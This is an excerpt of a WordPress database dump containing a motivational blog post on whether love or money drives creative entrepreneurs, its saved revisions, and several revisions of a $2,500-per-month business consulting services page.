(1938, 2, '2012-02-26 10:33:29', '2012-02-26 17:33:29', '<img class="alignnone size-full wp-image-1939" title="love-or-money" src="http://whc.fbdev.org/wp-content/uploads/2012/02/love-or-money.jpg" alt="" width="490" height="345" />\r\n<h1><span style="color: #808080;">Be mindful–is it the love or the money that drives you? If money weren’t an issue in your business, would you still be in the business you’re in?</span></h1>\r\nIf your answer to the above question is yes, than you don’t need to read on any further.  You already know, money aside, you’d still be doing exactly what you’re doing and loving it. You’re in your element, chances are you’re also experiencing an abundance of both love and money. My congratulations to you indeed!\r\n\r\nOn the other hand, if you’re currently stuck and don’t know if it’s the love or the money keeping you in the routine of your business, then this post might be useful for you to gain more clarity about your answer to the question.\r\n\r\nIf you take the money out of it, would you still be doing what you’re doing in your business? Or would you be doing something else? Perhaps something you love and value more than money?\r\n\r\nBefore we begin the discussion, let me make one thing clear–I emphatically believe doing what you love creates the energy necessary for money to follow. They’re not mutually exclusive. But money, by itself, has a way of getting one very comfortable and resistant to growth and new opportunity. After awhile, you can find yourself making important decisions about your life and business based on dough rather than love. Trust me when I suggest to you–money isn’t enough to keep the love alive. As John Lennon teaches, “money can’t buy me love”.\r\n\r\nBy now, you’re probably thinking, “hey I’m in my business for both love and money!” Of course you are!  I’m just suggesting that as you begin to experience greater levels of financial success doing what you love, you’re going to discover a couple of things about the dynamic tension of being in business for love or money.\r\n\r\n<strong>Money makes you comfortable and risk averse.</strong>\r\n\r\nAs a creative entrepreneur, you’re business is based in your love of creating, being creative, creating your art, and solving problems for your clients. At the early stages of your business growth it’s all about the love of doing! You’re in the business of doing what matters to you – and creates value for your clients. As your business grows, the pursuit of money naturally becomes more necessary and central to all your daily activities.\r\n\r\nAs you become more financially successful, you’ll experience the paradox of success. Slowly underneath your awareness, your assessment of opportunity can be more weighted by its potential financial reward rather than if the opportunity aligns with your purpose, vision, talents and capabilities. After all you have a business to run, and business is about making money!\r\n\r\nOver time, the quality of your clients, and the work you’re doing for them starts to be predictable and routine. As your business grows around your “output”, making more and more money, more of your energy will be focused on developing the systems to handle the project management and transactional complexities of serving clients. Before you know it, you’ve created a machine– and no matter how well oiled and efficient, the “machine” needs money to stay alive.\r\n<h2>To keep the machine alive, you realize you’ve become a slave to the machine you’ve created out of your success doing what you love.</h2>\r\nYou start playing it safe. All your important decisions– the type work you want to do, the quality of clients you attract and take on, the people you surround yourself with, and the overhead you lock yourself into– become driven by the transactional (money) side of your business. Sometimes your original “love of doing” takes a backseat. Once you’re comfortable and accomplished, recognized by your peers and clients as successful, you’re ego is heavily invested in the status quo of your own success story.\r\n\r\nA funny thing can happen on the road to your success– you get comfortable! And when you’re comfortable, that’s when the momentum of your growth and expansion loses steam and your slide towards dissatisfaction, boredom and burnout begins.\r\n\r\n<strong>Be mindful on your road to success and accomplishment. Keep the love of doing for its own sake very much alive and at the center of your business growth.</strong>', 'For love or money. ', 0, '', 'publish', 'open', 'open', '', 'for-love-or-money', '', '', '2012-02-26 10:33:29', '2012-02-26 17:33:29', '', 0, 'http://www.whitehotcenter.com/?p=1938', 0, 'post', '', 0),
(1939, 2, '2012-02-26 10:21:00', '2012-02-26 17:21:00', '', 'love-or-money', 0, '', 'inherit', 'open', 'open', '', 'love-or-money', '', '', '2012-02-26 10:21:00', '2012-02-26 17:21:00', '', 1938, 'http://www.whitehotcenter.com/wp-content/uploads/2012/02/love-or-money.jpg', 0, 'attachment', 'image/jpeg', 0),
(1940, 2, '2012-02-26 10:24:29', '2012-02-26 17:24:29', '<img class="alignnone size-full wp-image-1939" title="love-or-money" src="http://whc.fbdev.org/wp-content/uploads/2012/02/love-or-money.jpg" alt="" width="490" height="345" />\n<h1><span style="color: #808080;">Be mindful–is it the love or the money that drives you? If money weren’t an issue in your business, would you still be in the business you’re in?</span></h1>\nIf your answer to the above question is yes, than you don’t need to read on any further.  You already know, money aside, you’d still be doing exactly what you’re doing and loving it. You’re in your element, chances are you’re also experiencing an abundance of both love and money. My congratulations to you indeed!\n\nOn the other hand, if you’re currently stuck and don’t know if it’s the love or the money keeping you in the routine of your business, then this post might be useful for you to gain more clarity about your answer to the question.\n\nIf you take the money out of it, would you still be doing what you’re doing in your business? Or would you be doing something else? Perhaps something you love and value more than money?\n\nBefore we begin the discussion, let me make one thing clear–I emphatically believe doing what you love creates the energy necessary for money to follow. They’re not mutually exclusive. But money, by itself, has a way of getting one very comfortable and resistant to growth and new opportunity. After awhile, you can find yourself making important decisions about your life and business based on dough rather than love. Trust me when I suggest to you–money isn’t enough to keep the love alive. As John Lennon teaches, “money can’t buy me love”.\n\nBy now, you’re probably thinking, “hey I’m in my business for both love and money!” Of course you are!  I’m just suggesting that as you begin to experience greater levels of financial success doing what you love, you’re going to discover a couple of things about the dynamic tension of being in business for love or money.\n\n<strong>Money makes you comfortable and risk averse.</strong>\n\nAs a creative entrepreneur, you’re business is based in your love of creating, being creative, creating your art, and solving problems for your clients. At the early stages of your business growth it’s all about the love of doing! You’re in the business of doing what matters to you – and creates value for your clients. As your business grows, the pursuit of money naturally becomes more necessary and central to all your daily activities.\n\nAs you become more financially successful, you’ll experience the paradox of success. Slowly underneath your awareness, your assessment of opportunity can be more weighted by its potential financial reward rather than if the opportunity aligns with your purpose, vision, talents and capabilities. After all you have a business to run, and business is about making money!\n\nOver time, the quality of your clients, and the work you’re doing for them starts to be predictable and routine. As your business grows around your “output”, making more and more money, more of your energy will be focused on developing the systems to handle the project management and transactional complexities of serving clients. Before you know it, you’ve created a machine– and no matter how well oiled and efficient, the “machine” needs money to stay alive.\n<h2>To keep the machine alive, you realize you’ve become a slave to the machine you’ve created out of your success doing what you love.</h2>\nYou start playing it safe. All your important decisions– the type work you want to do, the quality of clients you attract and take on, the people you surround yourself with, and the overhead you lock yourself into– become driven by the transactional (money) side of your business. Sometimes your original “love of doing” takes a backseat. Once you’re comfortable and accomplished, recognized by your peers and clients as successful, you’re ego is heavily invested in the status quo of your own success story.\n\nA funny thing can happen on the road to your success– you get comfortable! And when you’re comfortable, that’s when the momentum of your growth and expansion loses steam and your slide towards dissatisfaction, boredom and burnout begins.\n\n<strong>Be mindful on your road to success and accomplishment. Keep the love of doing for its own sake very much alive and at the center of your business growth.</strong>', 'For love or money. ', 0, '', 'inherit', 'open', 'open', '', '1938-revision', '', '', '2012-02-26 10:24:29', '2012-02-26 17:24:29', '', 1938, 'http://www.whitehotcenter.com/2012/02/1938-revision/', 0, 'revision', '', 0),
(1941, 2, '2012-02-26 10:25:42', '2012-02-26 17:25:42', '<img class="alignnone size-full wp-image-1939" title="love-or-money" src="http://whc.fbdev.org/wp-content/uploads/2012/02/love-or-money.jpg" alt="" width="490" height="345" />\r\n<h1><span style="color: #808080;">Be mindful–is it the love or the money that drives you? If money weren’t an issue in your business, would you still be in the business you’re in?</span></h1>\r\nIf your answer to the above question is yes, than you don’t need to read on any further.  You already know, money aside, you’d still be doing exactly what you’re doing and loving it. You’re in your element, chances are you’re also experiencing an abundance of both love and money. My congratulations to you indeed!\r\n\r\nOn the other hand, if you’re currently stuck and don’t know if it’s the love or the money keeping you in the routine of your business, then this post might be useful for you to gain more clarity about your answer to the question.\r\n\r\nIf you take the money out of it, would you still be doing what you’re doing in your business? Or would you be doing something else? Perhaps something you love and value more than money?\r\n\r\nBefore we begin the discussion, let me make one thing clear–I emphatically believe doing what you love creates the energy necessary for money to follow. They’re not mutually exclusive. But money, by itself, has a way of getting one very comfortable and resistant to growth and new opportunity. After awhile, you can find yourself making important decisions about your life and business based on dough rather than love. Trust me when I suggest to you–money isn’t enough to keep the love alive. As John Lennon teaches, “money can’t buy me love”.\r\n\r\nBy now, you’re probably thinking, “hey I’m in my business for both love and money!” Of course you are!  I’m just suggesting that as you begin to experience greater levels of financial success doing what you love, you’re going to discover a couple of things about the dynamic tension of being in business for love or money.\r\n\r\n<strong>Money makes you comfortable and risk averse.</strong>\r\n\r\nAs a creative entrepreneur, you’re business is based in your love of creating, being creative, creating your art, and solving problems for your clients. At the early stages of your business growth it’s all about the love of doing! You’re in the business of doing what matters to you – and creates value for your clients. As your business grows, the pursuit of money naturally becomes more necessary and central to all your daily activities.\r\n\r\nAs you become more financially successful, you’ll experience the paradox of success. Slowly underneath your awareness, your assessment of opportunity can be more weighted by its potential financial reward rather than if the opportunity aligns with your purpose, vision, talents and capabilities. After all you have a business to run, and business is about making money!\r\n\r\nOver time, the quality of your clients, and the work you’re doing for them starts to be predictable and routine. As your business grows around your “output”, making more and more money, more of your energy will be focused on developing the systems to handle the project management and transactional complexities of serving clients. Before you know it, you’ve created a machine– and no matter how well oiled and efficient, the “machine” needs money to stay alive.\r\n<h2>To keep the machine alive, you realize you’ve become a slave to the machine you’ve created out of your success doing what you love.</h2>\r\nYou start playing it safe. All your important decisions– the type work you want to do, the quality of clients you attract and take on, the people you surround yourself with, and the overhead you lock yourself into– become driven by the transactional (money) side of your business. Sometimes your original “love of doing” takes a backseat. Once you’re comfortable and accomplished, recognized by your peers and clients as successful, you’re ego is heavily invested in the status quo of your own success story.\r\n\r\nA funny thing can happen on the road to your success– you get comfortable! And when you’re comfortable, that’s when the momentum of your growth and expansion loses steam and your slide towards dissatisfaction, boredom and burnout begins.\r\n\r\n<strong>Be mindful on your road to success and accomplishment. Keep the love of doing for its own sake very much alive and at the center of your business growth.</strong>', 'For love or money. ', 0, '', 'inherit', 'open', 'open', '', '1938-revision-2', '', '', '2012-02-26 10:25:42', '2012-02-26 17:25:42', '', 1938, 'http://www.whitehotcenter.com/2012/02/1938-revision-2/', 0, 'revision', '', 0),
(1942, 2, '2012-02-26 10:25:55', '2012-02-26 17:25:55', '<img class="alignnone size-full wp-image-1939" title="love-or-money" src="http://whc.fbdev.org/wp-content/uploads/2012/02/love-or-money.jpg" alt="" width="490" height="345" />\r\n<h1><span style="color: #808080;">Be mindful–is it the love or the money that drives you? If money weren’t an issue in your business, would you still be in the business you’re in?</span></h1>\r\nIf your answer to the above question is yes, than you don’t need to read on any further.  You already know, money aside, you’d still be doing exactly what you’re doing and loving it. You’re in your element, chances are you’re also experiencing an abundance of both love and money. My congratulations to you indeed!\r\n\r\nOn the other hand, if you’re currently stuck and don’t know if it’s the love or the money keeping you in the routine of your business, then this post might be useful for you to gain more clarity about your answer to the question.\r\n\r\nIf you take the money out of it, would you still be doing what you’re doing in your business? Or would you be doing something else? Perhaps something you love and value more than money?\r\n\r\nBefore we begin the discussion, let me make one thing clear–I emphatically believe doing what you love creates the energy necessary for money to follow. They’re not mutually exclusive. But money, by itself, has a way of getting one very comfortable and resistant to growth and new opportunity. After awhile, you can find yourself making important decisions about your life and business based on dough rather than love. Trust me when I suggest to you–money isn’t enough to keep the love alive. As John Lennon teaches, “money can’t buy me love”.\r\n\r\nBy now, you’re probably thinking, “hey I’m in my business for both love and money!” Of course you are!  I’m just suggesting that as you begin to experience greater levels of financial success doing what you love, you’re going to discover a couple of things about the dynamic tension of being in business for love or money.\r\n\r\n<strong>Money makes you comfortable and risk averse.</strong>\r\n\r\nAs a creative entrepreneur, you’re business is based in your love of creating, being creative, creating your art, and solving problems for your clients. At the early stages of your business growth it’s all about the love of doing! You’re in the business of doing what matters to you – and creates value for your clients. As your business grows, the pursuit of money naturally becomes more necessary and central to all your daily activities.\r\n\r\nAs you become more financially successful, you’ll experience the paradox of success. Slowly underneath your awareness, your assessment of opportunity can be more weighted by its potential financial reward rather than if the opportunity aligns with your purpose, vision, talents and capabilities. After all you have a business to run, and business is about making money!\r\n\r\nOver time, the quality of your clients, and the work you’re doing for them starts to be predictable and routine. As your business grows around your “output”, making more and more money, more of your energy will be focused on developing the systems to handle the project management and transactional complexities of serving clients. Before you know it, you’ve created a machine– and no matter how well oiled and efficient, the “machine” needs money to stay alive.\r\n<h2>To keep the machine alive, you realize you’ve become a slave to the machine you’ve created out of your success doing what you love.</h2>\r\nYou start playing it safe. All your important decisions– the type work you want to do, the quality of clients you attract and take on, the people you surround yourself with, and the overhead you lock yourself into– become driven by the transactional (money) side of your business. Sometimes your original “love of doing” takes a backseat. Once you’re comfortable and accomplished, recognized by your peers and clients as successful, you’re ego is heavily invested in the status quo of your own success story.\r\n\r\nA funny thing can happen on the road to your success– you get comfortable! And when you’re comfortable, that’s when the momentum of your growth and expansion loses steam and your slide towards dissatisfaction, boredom and burnout begins.\r\n\r\n<strong>Be mindful on your road to success and accomplishment. Keep the love of doing for its own sake very much alive and at the center of your business growth.</strong>', 'For love or money. ', 0, '', 'inherit', 'open', 'open', '', '1938-revision-3', '', '', '2012-02-26 10:25:55', '2012-02-26 17:25:55', '', 1938, 'http://www.whitehotcenter.com/2012/02/1938-revision-3/', 0, 'revision', '', 0),
(1943, 2, '2012-02-26 10:34:35', '2012-02-26 17:34:35', '<img class="alignnone size-full wp-image-1939" title="love-or-money" src="http://whc.fbdev.org/wp-content/uploads/2012/02/love-or-money.jpg" alt="" width="490" height="345" />\n<h1><span style="color: #808080;">Be mindful–is it the love or the money that drives you? If money weren’t an issue in your business, would you still be in the business you’re in?</span></h1>\nIf your answer to the above question is yes, than you don’t need to read on any further.  You already know, money aside, you’d still be doing exactly what you’re doing and loving it. You’re in your element, chances are you’re also experiencing an abundance of both love and money. My congratulations to you indeed!\n\nOn the other hand, if you’re currently stuck and don’t know if it’s the love or the money keeping you in the routine of your business, then this post might be useful for you to gain more clarity about your answer to the question.\n\nIf you take the money out of it, would you still be doing what you’re doing in your business? Or would you be doing something else? Perhaps something you love and value more than money?\n\nBefore we begin the discussion, let me make one thing clear–I emphatically believe doing what you love creates the energy necessary for money to follow. They’re not mutually exclusive. But money, by itself, has a way of getting one very comfortable and resistant to growth and new opportunity. After awhile, you can find yourself making important decisions about your life and business based on dough rather than love. Trust me when I suggest to you–money isn’t enough to keep the love alive. As John Lennon teaches, “money can’t buy me love”.\n\nBy now, you’re probably thinking, “hey I’m in my business for both love and money!” Of course you are!  I’m just suggesting that as you begin to experience greater levels of financial success doing what you love, you’re going to discover a couple of things about the dynamic tension of being in business for love or money.\n\n<strong>Money makes you comfortable and risk averse.</strong>\n\nAs a creative entrepreneur, you’re business is based in your love of creating, being creative, creating your art, and solving problems for your clients. At the early stages of your business growth it’s all about the love of doing! You’re in the business of doing what matters to you – and creates value for your clients. As your business grows, the pursuit of money naturally becomes more necessary and central to all your daily activities.\n\nAs you become more financially successful, you’ll experience the paradox of success. Slowly underneath your awareness, your assessment of opportunity can be more weighted by its potential financial reward rather than if the opportunity aligns with your purpose, vision, talents and capabilities. After all you have a business to run, and business is about making money!\n\nOver time, the quality of your clients, and the work you’re doing for them starts to be predictable and routine. As your business grows around your “output”, making more and more money, more of your energy will be focused on developing the systems to handle the project management and transactional complexities of serving clients. Before you know it, you’ve created a machine– and no matter how well oiled and efficient, the “machine” needs money to stay alive.\n<h2>To keep the machine alive, you realize you’ve become a slave to the machine you’ve created out of your success doing what you love.</h2>\nYou start playing it safe. All your important decisions– the type work you want to do, the quality of clients you attract and take on, the people you surround yourself with, and the overhead you lock yourself into– become driven by the transactional (money) side of your business. Sometimes your original “love of doing” takes a backseat. Once you’re comfortable and accomplished, recognized by your peers and clients as successful, you’re ego is heavily invested in the status quo of your own success story.\n\nA funny thing can happen on the road to your success– you get comfortable! And when you’re comfortable, that’s when the momentum of your growth and expansion loses steam and your slide towards dissatisfaction, boredom and burnout begins.\n\n<strong>Be mindful on your road to success and accomplishment. Keep the love of doing for its own sake very much alive and at the center of your business growth.</strong>', 'For love or money. ', 0, '', 'inherit', 'open', 'open', '', '1938-autosave', '', '', '2012-02-26 10:34:35', '2012-02-26 17:34:35', '', 1938, 'http://www.whitehotcenter.com/2012/02/1938-autosave/', 0, 'revision', '', 0),
(1948, 2, '2012-02-29 12:15:07', '2012-02-29 19:15:07', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>My clients include entrepreneurs from creative industries like </strong><strong></strong><strong>design, music, publishing, architecture, film and video, crafts, visual arts, fashion, TV and radio, advertising, literature, computer games and the performing arts. All these industries share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you to focus on your best opportunities, leverage your personal effectiveness, gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 12:15:07', '2012-02-29 19:15:07', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-167/', 0, 'revision', '', 0);
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(1944, 2, '2011-11-27 13:38:03', '2011-11-27 20:38:03', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>I offer professional development, marketing and business development expertise to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of alternative choices.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in business development, customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nAs principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have been a successful creative entrepreneur for over three decades. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the work that matters to you and creates financial success.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity,  I can help you to leverage your personal effectiveness, clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift the thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our coaching format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-27 13:38:03', '2011-11-27 20:38:03', '', 138, 'http://www.whitehotcenter.com/2011/11/138-revision-163/', 0, 'revision', '', 0),
(1945, 2, '2012-02-29 11:59:47', '2012-02-29 18:59:47', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. My clients include entrepreneurs from creative industries like </strong><strong></strong><strong>design, music, publishing, architecture, film and video, crafts, visual arts, fashion, TV and radio, advertising, literature, computer games and the performing arts. All these industries share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in business development, customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nAs principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have been a successful creative entrepreneur for over three decades. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the work that matters to you and creates sustained financial success.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you to focus on your best opportunities, leverage your personal effectiveness, gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 11:59:47', '2012-02-29 18:59:47', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-164/', 0, 'revision', '', 0),
